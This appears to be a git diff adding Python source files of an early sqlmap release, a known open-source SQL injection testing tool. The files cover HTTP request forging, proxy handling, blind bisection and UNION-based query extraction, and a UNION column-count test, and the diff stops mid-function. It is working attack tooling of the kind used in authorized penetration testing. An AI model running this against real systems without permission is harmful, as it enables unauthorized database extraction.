+ self.__privileges["inband"] = { "query": self.__inband, "query2": self.__inband2, "condition": self.__condition, "condition2": self.__condition2 }
+ self.__privileges["blind"] = { "query": self.__blind, "query2": self.__blind2,
+ "count": self.__count, "count2": self.__count2 }
+
+ self.__queries.privileges = self.__privileges
+
+ elif name == "dbs":
+ self.__dbs = {}
+ self.__dbs["inband"] = { "query": self.__inband, "query2": self.__inband2 }
+ self.__dbs["blind"] = { "query": self.__blind, "query2": self.__blind2,
+ "count": self.__count, "count2": self.__count2 }
+
+ self.__queries.dbs = self.__dbs
+
+ elif name == "tables":
+ self.__tables = {}
+ self.__tables["inband"] = { "query": self.__inband, "condition": self.__condition }
+ self.__tables["blind"] = { "query": self.__blind, "count": self.__count }
+
+ self.__queries.tables = self.__tables
+
+ elif name == "columns":
+ self.__columns = {}
+ self.__columns["inband"] = { "query": self.__inband }
+ self.__columns["blind"] = { "query": self.__blind, "query2": self.__blind2, "count": self.__count }
+
+ self.__queries.columns = self.__columns
+
+ elif name == "dump_table":
+ self.__dumpTable = {}
+ self.__dumpTable["inband"] = { "query": self.__inband }
+ self.__dumpTable["blind"] = { "query": self.__blind, "count": self.__count }
+
+ self.__queries.dumpTable = self.__dumpTable
+
+
+def queriesParser():
+ """
+ This function calls a class to parse the default DBMS queries
+ from an XML file
+ """
+
+ debugMsg = "parsing XML queries file"
+ logger.debug(debugMsg)
+
+ xmlfile = paths.QUERIES_XML
+
+ checkFile(xmlfile)
+ handler = queriesHandler()
+ parse(xmlfile, handler)
diff --git a/lib/request/__init__.py b/lib/request/__init__.py
new file mode 100644
index 000000000..e8fee9d67
--- /dev/null
+++ b/lib/request/__init__.py
@@ -0,0 +1,25 @@
+#!/usr/bin/env python
+
+"""
+$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+pass
diff --git a/lib/request/basic.py b/lib/request/basic.py
new file mode 100644
index 000000000..904f9988d
--- /dev/null
+++ b/lib/request/basic.py
@@ -0,0 +1,81 @@
+#!/usr/bin/env python
+
+"""
+$Id: basic.py 247 2008-07-19 23:07:26Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+
+
+import re
+
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import paths
+from lib.parse.html import htmlParser
+
+
+def forgeHeaders(cookie, ua):
+ """
+ Prepare HTTP Cookie and HTTP User-Agent headers to use when performing
+ the HTTP requests
+ """
+
+ headers = {}
+
+ for header, value in conf.httpHeaders:
+ if cookie and header == "Cookie":
+ headers[header] = cookie
+ elif ua and header == "User-Agent":
+ headers[header] = ua
+ else:
+ headers[header] = value
+
+ return headers
+
+
+def parsePage(page):
+ """
+ @param page: the page to parse to feed the knowledge base htmlFp
+ (back-end DBMS fingerprint based upon DBMS error messages return
+ through the web application) list and absFilePaths (absolute file
+ paths) set.
+
+ @todo: in the future parse the page content scrolling an XML file to
+ identify the dynamic language used and, most, the absolute path,
+ like for DBMS error messages (ERRORS_XML), see above.
+ """
+
+ if not page:
+ return
+
+ htmlParsed = htmlParser(page, paths.ERRORS_XML)
+
+ if htmlParsed and htmlParsed not in kb.htmlFp:
+ kb.htmlFp.append(htmlParsed)
+
+ # Detect injectable page absolute system path
+ # NOTE: this regular expression works if the remote web application
+ # is written in PHP and debug/error messages are enabled.
+ absFilePaths = re.findall(" in (.*?) on line", page, re.I)
+
+ for absFilePath in absFilePaths:
+ if absFilePath not in kb.absFilePaths:
+ kb.absFilePaths.add(absFilePath)
diff --git a/lib/request/connect.py b/lib/request/connect.py
new file mode 100644
index 000000000..19bcc32a6
--- /dev/null
+++ b/lib/request/connect.py
@@ -0,0 +1,228 @@
+#!/usr/bin/env python
+
+"""
+$Id: connect.py 280 2008-07-25 13:33:06Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+
+
+import md5
+import re
+import urllib2
+import urlparse
+
+from lib.contrib import multipartpost
+from lib.core.convert import urlencode
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.exception import sqlmapConnectionException
+from lib.request.basic import forgeHeaders
+from lib.request.basic import parsePage
+
+
+
+class Connect:
+ """
+ This class defines methods used to perform HTTP requests
+ """
+
+ @staticmethod
+ def getPage(**kwargs):
+ """
+ This method connects to the target url or proxy and returns
+ the target url page content
+ """
+
+ url = kwargs.get('url', conf.url).replace(" ", "%20")
+ get = kwargs.get('get', None)
+ post = kwargs.get('post', None)
+ cookie = kwargs.get('cookie', None)
+ ua = kwargs.get('ua', None)
+ direct = kwargs.get('direct', False)
+ multipart = kwargs.get('multipart', False)
+
+ cookieStr = ""
+ requestMsg = "HTTP request:\n%s " % conf.method
+ responseMsg = "HTTP response "
+ requestHeaders = ""
+ responseHeaders = ""
+
+ if re.search("http[s]*://%s" % conf.hostname, url, re.I):
+ requestMsg += "%s" % conf.path or "/"
+ else:
+ requestMsg += "%s" % urlparse.urlsplit(url)[2] or "/"
+
+ if direct:
+ if "?" in url:
+ url, params = url.split("?")
+ params = urlencode(params)
+ url = "%s?%s" % (url, params)
+ requestMsg += "?%s" % params
+ elif multipart:
+ multipartOpener = urllib2.build_opener(multipartpost.MultipartPostHandler)
+ conn = multipartOpener.open(url, multipart)
+ page = conn.read()
+ return page
+ elif conf.method == "GET":
+ if conf.parameters.has_key("GET") and not get:
+ get = conf.parameters["GET"]
+
+ if get:
+ get = urlencode(get)
+ url = "%s?%s" % (url, get)
+ requestMsg += "?%s" % get
+ elif conf.method == "POST":
+ if conf.parameters.has_key("POST") and not post:
+ post = conf.parameters["POST"]
+
+ post = urlencode(post)
+
+ requestMsg += " HTTP/1.1"
+
+ try:
+ # Perform HTTP request
+ headers = forgeHeaders(cookie, ua)
+ req = urllib2.Request(url, post, headers)
+ conn = urllib2.urlopen(req)
+
+ if "Accept-Encoding" not in req.headers:
+ requestHeaders += "\nAccept-Encoding: identity"
+
+ requestHeaders = "\n".join(["%s: %s" % (header, value) for header, value in req.header_items()])
+
+ for _, cookie in enumerate(conf.cj):
+ if not cookieStr:
+ cookieStr = "Cookie: "
+
+ cookie = str(cookie)
+ index = cookie.index(" for ")
+
+ cookieStr += "%s; " % cookie[8:index]
+
+ if "Cookie" not in req.headers and cookieStr:
+ requestHeaders += "\n%s" % cookieStr[:-2]
+
+ if "Connection" not in req.headers:
+ requestHeaders += "\nConnection: close"
+
+ requestMsg += "\n%s" % requestHeaders
+
+ if post:
+ requestMsg += "\n%s" % post
+
+ requestMsg += "\n"
+
+ logger.log(9, requestMsg)
+
+ # Get HTTP response
+ page = conn.read()
+ code = conn.code
+ status = conn.msg
+ responseHeaders = conn.info()
+
+ except urllib2.HTTPError, e:
+ if e.code == 401:
+ exceptionMsg = "not authorized, try to provide right HTTP "
+ exceptionMsg += "authentication type and valid credentials"
+ raise sqlmapConnectionException, exceptionMsg
+ else:
+ page = e.read()
+ code = e.code
+ status = e.msg
+ responseHeaders = e.info()
+
+ except urllib2.URLError, e:
+ warnMsg = "unable to connect to the target url"
+
+ if conf.googleDork:
+ warnMsg += ", skipping to next url"
+ logger.warn(warnMsg)
+
+ return None
+ else:
+ warnMsg += " or proxy"
+ raise sqlmapConnectionException, warnMsg
+
+ parsePage(page)
+ responseMsg += "(%s - %d):\n" % (status, code)
+
+ if conf.verbose <= 4:
+ responseMsg += str(responseHeaders)
+ elif conf.verbose > 4:
+ responseMsg += "%s\n%s\n" % (responseHeaders, page)
+
+ logger.log(8, responseMsg)
+
+ return page
+
+
+ @staticmethod
+ def queryPage(value=None, place=None, content=False):
+ """
+ This method calls a function to get the target url page content
+ and returns its page MD5 hash or a boolean value in case of
+ string match check ('--string' command line parameter)
+ """
+
+ get = None
+ post = None
+ cookie = None
+ ua = None
+
+ if not place:
+ place = kb.injPlace
+
+ if conf.parameters.has_key("GET"):
+ if place == "GET" and value:
+ get = value
+ else:
+ get = conf.parameters["GET"]
+
+ if conf.parameters.has_key("POST"):
+ if place == "POST" and value:
+ post = value
+ else:
+ post = conf.parameters["POST"]
+
+ if conf.parameters.has_key("Cookie"):
+ if place == "Cookie" and value:
+ cookie = value
+ else:
+ cookie = conf.parameters["Cookie"]
+
+ if conf.parameters.has_key("User-Agent"):
+ if place == "User-Agent" and value:
+ ua = value
+ else:
+ ua = conf.parameters["User-Agent"]
+
+ page = Connect.getPage(get=get, post=post, cookie=cookie, ua=ua)
+
+ if content:
+ return page
+ elif conf.string:
+ if conf.string in page:
+ return True
+ else:
+ return False
+ else:
+ return md5.new(page).hexdigest()
diff --git a/lib/request/inject.py b/lib/request/inject.py
new file mode 100644
index 000000000..a9223b247
--- /dev/null
+++ b/lib/request/inject.py
@@ -0,0 +1,377 @@
+#!/usr/bin/env python
+
+"""
+$Id: inject.py 368M 2008-10-14 23:52:59Z (local) $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+
+
+import re
+import time
+
+from lib.core.agent import agent
+from lib.core.common import cleanQuery
+from lib.core.common import dataToSessionFile
+from lib.core.common import expandAsteriskForColumns
+from lib.core.common import readInput
+from lib.core.common import replaceNewlineTabs
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.data import queries
+from lib.core.data import temp
+from lib.techniques.inband.union.use import unionUse
+from lib.techniques.inference.blind import bisection
+from lib.utils.resume import queryOutputLength
+from lib.utils.resume import resume
+
+
+def __getFieldsProxy(expression):
+ _, _, _, expressionFields = agent.getFields(expression)
+ expressionFieldsList = expressionFields.replace(", ", ",")
+ expressionFieldsList = expressionFieldsList.split(",")
+
+ return expressionFields, expressionFieldsList
+
+
+def __goInference(payload, expression):
+ start = time.time()
+
+ if conf.sessionFile:
+ dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression))
+
+ if ( conf.eta or conf.threads > 1 ) and kb.dbms:
+ _, length, _ = queryOutputLength(expression, payload)
+ else:
+ length = None
+
+ count, value = bisection(payload, expression, length=length)
+ duration = int(time.time() - start)
+
+ infoMsg = "performed %d queries in %d seconds" % (count, duration)
+ logger.info(infoMsg)
+
+ return value
+
+
+def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload):
+ outputs = []
+
+ for field in expressionFieldsList:
+ output = None
+
+ expressionReplaced = expression.replace(expressionFields, field, 1)
+ output = resume(expressionReplaced, payload)
+
+ if not output:
+ output = __goInference(payload, expressionReplaced)
+
+ outputs.append(output)
+
+ return outputs
+
+
+def __goInferenceProxy(expression, fromUser=False):
+ """
+ Retrieve the output of a SQL query characted by character taking
+ advantage of an blind SQL injection vulnerability on the affected
+ parameter through a bisection algorithm.
+ """
+
+ query = agent.prefixQuery(temp.inference)
+ query = agent.postfixQuery(query)
+ payload = agent.payload(newValue=query)
+ count = None
+ startLimit = 0
+ stopLimit = None
+ outputs = []
+ test = None
+ untilLimitChar = None
+ untilOrderChar = None
+
+ output = resume(expression, payload)
+
+ if output:
+ return output
+
+ if kb.dbmsDetected:
+ expressionFields, expressionFieldsList = __getFieldsProxy(expression)
+
+ if len(expressionFieldsList) > 1:
+ infoMsg = "the SQL query provided has more than a field. "
+ infoMsg += "sqlmap will now unpack it into distinct queries "
+ infoMsg += "to be able to retrieve the output even if we "
+ infoMsg += "are going blind"
+ logger.info(infoMsg)
+
+ # If we have been here from SQL query/shell we have to check if
+ # the SQL query might return multiple entries and in such case
+ # forge the SQL limiting the query output one entry per time
+ # NOTE: I assume that only queries that get data from a table
+ # can return multiple entries
+ if fromUser and " FROM " in expression:
+ limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I)
+
+ if limitRegExp:
+ if kb.dbms in ( "MySQL", "PostgreSQL" ):
+ limitGroupStart = queries[kb.dbms].limitgroupstart
+ limitGroupStop = queries[kb.dbms].limitgroupstop
+
+ if limitGroupStart.isdigit():
+ startLimit = int(limitRegExp.group(int(limitGroupStart)))
+
+ stopLimit = limitRegExp.group(int(limitGroupStop))
+ limitCond = int(stopLimit) > 1
+
+ elif kb.dbms in ( "Oracle", "Microsoft SQL Server" ):
+ limitCond = False
+ else:
+ limitCond = True
+
+ # I assume that only queries NOT containing a "LIMIT #, 1"
+ # (or similar depending on the back-end DBMS) can return
+ # multiple entries
+ if limitCond:
+ if limitRegExp:
+ stopLimit = int(stopLimit)
+
+ # From now on we need only the expression until the " LIMIT "
+ # (or similar, depending on the back-end DBMS) word
+ if kb.dbms in ( "MySQL", "PostgreSQL" ):
+ stopLimit += startLimit
+ untilLimitChar = expression.index(queries[kb.dbms].limitstring)
+ expression = expression[:untilLimitChar]
+
+ if not stopLimit or stopLimit <= 1:
+ if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
+ test = "n"
+ else:
+ message = "does the SQL query that you provide might "
+ message += "return multiple entries? [Y/n] "
+ test = readInput(message, default="Y")
+
+ if not test or test[0] in ("y", "Y"):
+ # Count the number of SQL query entries output
+ countFirstField = queries[kb.dbms].count % expressionFieldsList[0]
+ countedExpression = expression.replace(expressionFields, countFirstField, 1)
+
+ if re.search(" ORDER BY ", expression, re.I):
+ untilOrderChar = countedExpression.index(" ORDER BY ")
+ countedExpression = countedExpression[:untilOrderChar]
+
+ count = resume(countedExpression, payload)
+
+ if not stopLimit:
+ if not count:
+ count = __goInference(payload, countedExpression)
+
+ if count.isdigit() and int(count) > 0:
+ count = int(count)
+
+ message = "the SQL query that you provide can "
+ message += "return up to %d entries. How many " % count
+ message += "entries do you want to retrieve?\n"
+ message += "[a] All (default)\n[#] Specific number\n"
+ message += "[q] Quit\nChoice: "
+ test = readInput(message, default="a")
+
+ if not test or test[0] in ("a", "A"):
+ stopLimit = count
+
+ elif test[0] in ("q", "Q"):
+ return "Quit"
+
+ elif test.isdigit() and int(test) > 0 and int(test) <= count:
+ stopLimit = int(test)
+
+ infoMsg = "sqlmap is now going to retrieve the "
+ infoMsg += "first %d query output entries" % stopLimit
+ logger.info(infoMsg)
+
+ elif test[0] in ("#", "s", "S"):
+ message = "How many? "
+ stopLimit = readInput(message, default="10")
+
+ if not stopLimit.isdigit():
+ errMsg = "Invalid choice"
+ logger.error(errMsg)
+
+ return None
+
+ else:
+ stopLimit = int(stopLimit)
+
+ else:
+ errMsg = "Invalid choice"
+ logger.error(errMsg)
+
+ return None
+
+ elif ( not count or int(count) == 0 ):
+ warnMsg = "the SQL query that you provided does "
+ warnMsg += "not return any output"
+ logger.warn(warnMsg)
+
+ return None
+
+ elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
+ warnMsg = "the SQL query that you provided does "
+ warnMsg += "not return any output"
+ logger.warn(warnMsg)
+
+ return None
+
+ for num in xrange(startLimit, stopLimit):
+ limitedExpr = expression
+
+ if kb.dbms in ( "MySQL", "PostgreSQL" ):
+ limitStr = queries[kb.dbms].limit % (num, 1)
+ limitedExpr += " %s" % limitStr
+
+ elif kb.dbms == "Oracle":
+ limitStr = queries[kb.dbms].limit
+ fromIndex = limitedExpr.index(" FROM ")
+ untilFrom = limitedExpr[:fromIndex]
+ fromFrom = limitedExpr[fromIndex+1:]
+ limitedExpr = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr)
+ limitedExpr = limitedExpr % fromFrom
+ limitedExpr += "=%d" % (num + 1)
+
+ elif kb.dbms == "Microsoft SQL Server":
+ if re.search(" ORDER BY ", limitedExpr, re.I):
+ untilOrderChar = limitedExpr.index(" ORDER BY ")
+ limitedExpr = limitedExpr[:untilOrderChar]
+
+ limitStr = queries[kb.dbms].limit
+ fromIndex = limitedExpr.index(" FROM ")
+ untilFrom = limitedExpr[:fromIndex]
+ fromFrom = limitedExpr[fromIndex+1:]
+ limitedExpr = limitedExpr.replace("SELECT ", (limitStr % 1), 1)
+ limitedExpr = "%s WHERE %s " % (limitedExpr, expressionFieldsList[0])
+ limitedExpr += "NOT IN (%s" % (limitStr % num)
+ limitedExpr += "%s %s)" % (expressionFieldsList[0], fromFrom)
+
+ output = __goInferenceFields(limitedExpr, expressionFields, expressionFieldsList, payload)
+ outputs.append(output)
+
+ return outputs
+
+ elif kb.dbms == "Oracle" and expression.startswith("SELECT ") and " FROM " not in expression:
+ expression = "%s FROM DUAL" % expression
+
+ outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload)
+
+ returnValue = ", ".join([output for output in outputs])
+ else:
+ returnValue = __goInference(payload, expression)
+
+ return returnValue
+
+
+def __goInband(expression):
+ """
+ Retrieve the output of a SQL query taking advantage of an inband SQL
+ injection vulnerability on the affected parameter.
+ """
+
+ counter = None
+ output = None
+ partial = False
+ data = []
+
+ condition = (
+ kb.resumedQueries and conf.url in kb.resumedQueries.keys()
+ and expression in kb.resumedQueries[conf.url].keys()
+ )
+
+ if condition:
+ output = resume(expression, None)
+
+ if not output:
+ partial = True
+
+ if not output:
+ output = unionUse(expression)
+
+ fields = expression.split(",")
+ counter = len(fields)
+
+ if output:
+ outCond1 = ( output.startswith(temp.start) and output.endswith(temp.stop) )
+ outCond2 = ( output.startswith("__START__") and output.endswith("__STOP__") )
+
+ if outCond1 or outCond2:
+ if outCond1:
+ regExpr = '%s(.*?)%s' % (temp.start, temp.stop)
+ elif outCond2:
+ regExpr = '__START__(.*?)__STOP__'
+
+ output = re.findall(regExpr, output, re.S)
+
+ if conf.sessionFile and ( partial or not condition ):
+ logOutput = "".join(["__START__%s__STOP__" % replaceNewlineTabs(value) for value in output])
+ dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, logOutput))
+
+ output = set(output)
+
+ for entry in output:
+ info = []
+
+ if "__DEL__" in entry:
+ entry = entry.split("__DEL__")
+ else:
+ entry = entry.split(temp.delimiter)
+
+ if len(entry) == 1:
+ data.append(entry[0])
+ else:
+ for value in entry:
+ info.append(value)
+
+ data.append(info)
+ else:
+ data = output
+
+ if len(data) == 1 and isinstance(data[0], str):
+ data = data[0]
+
+ return data
+
+
+def getValue(expression, blind=True, inband=True, fromUser=False):
+ """
+ Called each time sqlmap inject a SQL query on the SQL injection
+ affected parameter. It can call a function to retrieve the output
+ through inband SQL injection (if selected) and/or blind SQL injection
+ (if selected).
+ """
+
+ expression = cleanQuery(expression)
+ expression = expandAsteriskForColumns(expression)
+ value = None
+
+ if inband and conf.unionUse and kb.dbms:
+ value = __goInband(expression)
+
+ if blind and not value:
+ value = __goInferenceProxy(expression, fromUser)
+
+ return value
diff --git a/lib/request/proxy.py b/lib/request/proxy.py
new file mode 100644
index 000000000..1db4844f3
--- /dev/null
+++ b/lib/request/proxy.py
@@ -0,0 +1,128 @@
+#!/usr/bin/env python
+
+"""
+$Id: proxy.py 322 2008-08-27 00:21:22Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+
+
+import httplib
+import socket
+import urllib
+import urllib2
+
+
+class ProxyHTTPConnection(httplib.HTTPConnection):
+ _ports = {"http" : 80, "https" : 443}
+
+ def request(self, method, url, body=None, headers={}):
+ # Request is called before connect, so can interpret url and get
+ # real host/port to be used to make CONNECT request to proxy
+ proto, rest = urllib.splittype(url)
+
+ if proto is None:
+ raise ValueError, "unknown URL type: %s" % url
+
+ # Get host
+ host, rest = urllib.splithost(rest)
+
+ # Try to get port
+ host, port = urllib.splitport(host)
+
+ # If port is not defined try to get from proto
+ if port is None:
+ try:
+ port = self._ports[proto]
+ except KeyError:
+ raise ValueError, "unknown protocol for: %s" % url
+
+ self._real_host = host
+ self._real_port = int(port)
+
+ httplib.HTTPConnection.request(self, method, url, body, headers)
+
+
+ def connect(self):
+ httplib.HTTPConnection.connect(self)
+
+ # Send proxy CONNECT request
+ self.send("CONNECT %s:%d HTTP/1.0\r\n\r\n" % (self._real_host, self._real_port))
+
+ # Expect a HTTP/1.0 200 Connection established
+ response = self.response_class(self.sock, strict=self.strict, method=self._method)
+ (version, code, message) = response._read_status()
+
+ # Probably here we can handle auth requests...
+ if code != 200:
+ # Proxy returned and error, abort connection, and raise exception
+ self.close()
+
+ raise socket.error, "Proxy connection failed: %d %s" % (code, message.strip())
+
+ # Eat up header block from proxy
+ while True:
+ # Should not use directly fp probably
+ line = response.fp.readline()
+
+ if line == "\r\n":
+ break
+
+
+class ProxyHTTPSConnection(ProxyHTTPConnection):
+ default_port = 443
+
+ def __init__(self, host, port=None, key_file=None, cert_file=None, strict=None):
+ ProxyHTTPConnection.__init__(self, host, port)
+ self.key_file = key_file
+ self.cert_file = cert_file
+
+ def connect(self):
+ ProxyHTTPConnection.connect(self)
+
+ # Make the sock ssl-aware
+ ssl = socket.ssl(self.sock, self.key_file, self.cert_file)
+ self.sock = httplib.FakeSocket(self.sock, ssl)
+
+
+class ProxyHTTPHandler(urllib2.HTTPHandler):
+ def __init__(self, proxy=None, debuglevel=0):
+ self.proxy = proxy
+
+ urllib2.HTTPHandler.__init__(self, debuglevel)
+
+ def do_open(self, http_class, req):
+ if self.proxy is not None:
+ req.set_proxy(self.proxy, "http")
+
+ return urllib2.HTTPHandler.do_open(self, ProxyHTTPConnection, req)
+
+
+class ProxyHTTPSHandler(urllib2.HTTPSHandler):
+ def __init__(self, proxy=None, debuglevel=0):
+ self.proxy = proxy
+
+ urllib2.HTTPSHandler.__init__(self, debuglevel)
+
+ def do_open(self, http_class, req):
+ if self.proxy is not None:
+ req.set_proxy(self.proxy, "https")
+
+ return urllib2.HTTPSHandler.do_open(self, ProxyHTTPSConnection, req)
diff --git a/lib/techniques/__init__.py b/lib/techniques/__init__.py
new file mode 100644
index 000000000..e8fee9d67
--- /dev/null
+++ b/lib/techniques/__init__.py
@@ -0,0 +1,25 @@
+#!/usr/bin/env python
+
+"""
+$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+pass
diff --git a/lib/techniques/inband/__init__.py b/lib/techniques/inband/__init__.py
new file mode 100644
index 000000000..e8fee9d67
--- /dev/null
+++ b/lib/techniques/inband/__init__.py
@@ -0,0 +1,25 @@
+#!/usr/bin/env python
+
+"""
+$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+pass
diff --git a/lib/techniques/inband/union/__init__.py b/lib/techniques/inband/union/__init__.py
new file mode 100644
index 000000000..e8fee9d67
--- /dev/null
+++ b/lib/techniques/inband/union/__init__.py
@@ -0,0 +1,25 @@
+#!/usr/bin/env python
+
+"""
+$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+pass
diff --git a/lib/techniques/inband/union/test.py b/lib/techniques/inband/union/test.py
new file mode 100644
index 000000000..a1635ff04
--- /dev/null
+++ b/lib/techniques/inband/union/test.py
@@ -0,0 +1,114 @@
+#!/usr/bin/env python
+
+"""
+$Id: test.py 293 2008-07-28 21:56:52Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+
+
+from lib.core.agent import agent
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.session import setUnion
+from lib.request.connect import Connect as Request
+
+
+def __effectiveUnionTest(query, comment):
+ """
+ This method tests if the target url is affected by an inband
+ SQL injection vulnerability. The test is done up to 50 columns
+ on the target database table
+ """
+
+ resultDict = {}
+
+ for count in range(0, 50):
+ if kb.dbms == "Oracle" and query.endswith(" FROM DUAL"):
+ query = query[:-len(" FROM DUAL")]
+
+ if count:
+ query += ", NULL"
+
+ if kb.dbms == "Oracle":
+ query += " FROM DUAL"
+
+ commentedQuery = agent.postfixQuery(query, comment)
+ payload = agent.payload(newValue=commentedQuery)
+ newResult = Request.queryPage(payload)
+
+ if not newResult in resultDict.keys():
+ resultDict[newResult] = (1, commentedQuery)
+ else:
+ resultDict[newResult] = (resultDict[newResult][0] + 1, commentedQuery)
+
+ if count:
+ for element in resultDict.values():
+ if element[0] == 1:
+ if kb.injPlace == "GET":
+ value = "%s?%s" % (conf.url, payload)
+ elif kb.injPlace == "POST":
+ value = "URL:\t'%s'" % conf.url
+ value += "\nPOST:\t'%s'\n" % payload
+ elif kb.injPlace == "Cookie":
+ value = "URL:\t'%s'" % conf.url
+ value += "\nCookie:\t'%s'\n" % payload
+ elif kb.injPlace == "User-Agent":
+ value = "URL:\t\t'%s'" % conf.url
+ value += "\nUser-Agent:\t'%s'\n" % payload
+
+ return value
+
+ return None
+
+
+def unionTest():
+ """
